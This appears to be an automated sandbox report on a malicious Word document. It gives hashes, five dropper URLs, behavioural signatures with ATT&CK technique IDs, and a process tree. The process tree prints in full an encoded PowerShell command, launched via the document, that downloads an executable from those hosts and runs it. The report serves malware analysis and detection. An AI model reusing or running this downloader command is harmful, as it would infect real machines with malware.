56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b

General

Target

56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b.doc
Size

123KB
MD5

af59cec0ded6240048d49d49a1f73ba2
SHA1

b9b2583cc8d108c847e9c4c50e7f28cc6273729e
SHA256

56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b
SHA512

366452925811dcbf8387e94d57c4f902fc0855cf2e174ca7d9a64c5952bc3e21301f8234a2f5784cfebedc537fa238592393942ef5a9cf0710bc8892b52ddc57

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adacan.net/cgi-bin/ArQlYWTG/

exe.dropper

http://www.czabk.com/wp-admin/EdQdoGnbBz/

exe.dropper

http://www.ri-magazine.com/ri/usod7inlc3_a8bolt-35/

exe.dropper

http://www.shang-ding.com.tw/phpmyadmin/ze24yvvom_tkdpml34w-56049/

exe.dropper

http://www.tafa.pxlcorp.com/wp-includes/xEVKeyGS/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1736	3760	powershell.exe	72

Blocklisted process makes network request 2 IoCs

flow	pid	Process
77	1736	powershell.exe
89	1736	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1736	powershell.exe
1736	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE
728	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 728 wrote to memory of 3216	728	WINWORD.EXE	85
PID 728 wrote to memory of 3216	728	WINWORD.EXE	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:728
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JAB0ADYAdwA0AHUAbwA9ACcAdwA2ADAATQB0AG8AbABFACcAOwAkAEYAegBiAFIAUABhAE4AegAgAD0AIAAnADUAOAA1ACcAOwAkAG4AQwBKAF8AXwAwAD0AJwBaADgAdwBzADQAbwBMAEIAJwA7ACQARwBoAHAAQwA2AFoAbwBKAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAHoAYgBSAFAAYQBOAHoAKwAnAC4AZQB4AGUAJwA7ACQAbwBTAFEAXwA3AE4AZgAwAD0AJwBwAHIATAAyAF8AbQAnADsAJABHADEAbwBCAEgAaQB0AGwAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AYAB3AEUAYgBDAGAATABJAGUAYABOAFQAOwAkAEQASwByAFQAWgA3AD0AJwBoAHQAdABwADoALwAvAGEAZABhAGMAYQBuAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AQQByAFEAbABZAFcAVABHAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AYwB6AGEAYgBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBFAGQAUQBkAG8ARwBuAGIAQgB6AC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcgBpAC0AbQBhAGcAYQB6AGkAbgBlAC4AYwBvAG0ALwByAGkALwB1AHMAbwBkADcAaQBuAGwAYwAzAF8AYQA4AGIAbwBsAHQALQAzADUALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGgAYQBuAGcALQBkAGkAbgBnAC4AYwBvAG0ALgB0AHcALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AegBlADIANAB5AHYAdgBvAG0AXwB0AGsAZABwAG0AbAAzADQAdwAtADUANgAwADQAOQAvAEAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHQAYQBmAGEALgBwAHgAbABjAG8AcgBwAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB4AEUAVgBLAGUAeQBHAFMALwAnAC4AcwBwAGwASQBUACgAJwBAACcAKQA7ACQAbAA3AHcANQA4ADQAPQAnAEkATQBGAGoAaABtAFgAVAAnADsAZgBvAHIAZQBhAGMAaAAoACQASwB2AE0ATQA3AHAAegAgAGkAbgAgACQARABLAHIAVABaADcAKQB7AHQAcgB5AHsAJABHADEAbwBCAEgAaQB0AGwALgBEAE8AVwBOAEwAbwBBAEQAZgBJAGwARQAoACQASwB2AE0ATQA3AHAAegAsACAAJABHAGgAcABDADYAWgBvAEoAKQA7ACQAdgB3AEgAOABpAEIARQB1AD0AJwBuADcAdABRAE4AQQBTAFIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABHAGgAcABDADYAWgBvAEoAKQAuAEwARQBOAGcAdABoACAALQBnAGUAIAAzADkANwA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAHIAVAAoACQARwBoAHAAQwA2AFoAbwBKACkAOwAkAFQARABJAEQAVAA0AFcAPQAnAFAANABDAEUAcwBwACcAOwBiAHIAZQBhAGsAOwAkAFgAdgAxAE0ANQBJAEIATgA9ACcAUgBoAFQARgBUADYAagBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQASwBJAHMATQB6AGYANAA9ACcAYwBqADgAagAxAE8ARAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/728-138-0x000001F8578E0000-0x000001F8578E4000-memory.dmp

Filesize
16KB

Download
memory/728-134-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-130-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-133-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-146-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-135-0x00007FFBBFBE0000-0x00007FFBBFBF0000-memory.dmp

Filesize
64KB

Download
memory/728-136-0x00007FFBBFBE0000-0x00007FFBBFBF0000-memory.dmp

Filesize
64KB

Download
memory/728-147-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-132-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-131-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-145-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/728-144-0x00007FFBC1C90000-0x00007FFBC1CA0000-memory.dmp

Filesize
64KB

Download
memory/1736-142-0x00007FFBD52F0000-0x00007FFBD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/1736-141-0x00007FFBD52F0000-0x00007FFBD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/1736-140-0x00007FFBD52F0000-0x00007FFBD5DB1000-memory.dmp

Filesize
10.8MB

Download
memory/1736-139-0x0000027B40DE0000-0x0000027B40E02000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads